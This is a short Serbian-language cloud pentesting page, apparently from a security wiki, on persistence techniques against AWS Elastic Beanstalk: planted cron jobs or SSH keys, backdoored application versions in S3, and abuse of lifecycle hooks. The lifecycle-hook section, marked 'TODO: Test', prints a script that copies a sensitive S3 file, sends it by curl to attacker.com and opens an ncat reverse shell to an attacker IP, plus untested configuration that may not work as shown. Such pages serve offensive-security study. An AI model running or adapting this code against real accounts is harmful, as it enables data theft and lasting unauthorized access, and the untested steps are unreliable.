AWS - Elastic Beanstalk Persistencija

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Elastic Beanstalk

Za više informacija pogledajte:

AWS - Elastic Beanstalk Enum

Persistencija u instanci

Da bi se održala persistencija unutar AWS naloga, neki mehanizam za persistenciju može biti ubačen u instancu (cron job, ssh key…) tako da napadač može pristupiti instanci i ukrasti IAM role credentials from the metadata service.

Backdoor in Version

Napadač može ubaciti backdoor u kod unutar S3 repo tako da on uvek izvršava svoj backdoor i očekivani kod.

New backdoored version

Umesto menjanja koda u aktuelnoj verziji, napadač može deploy-ovati novu backdoored verziju aplikacije.

Abusing Custom Resource Lifecycle Hooks

Note

TODO: Test

Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. Napadač može konfigurisati lifecycle hook da periodično izvršava skriptu koja exfiltrates data ili održava pristup AWS nalogu.

# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"

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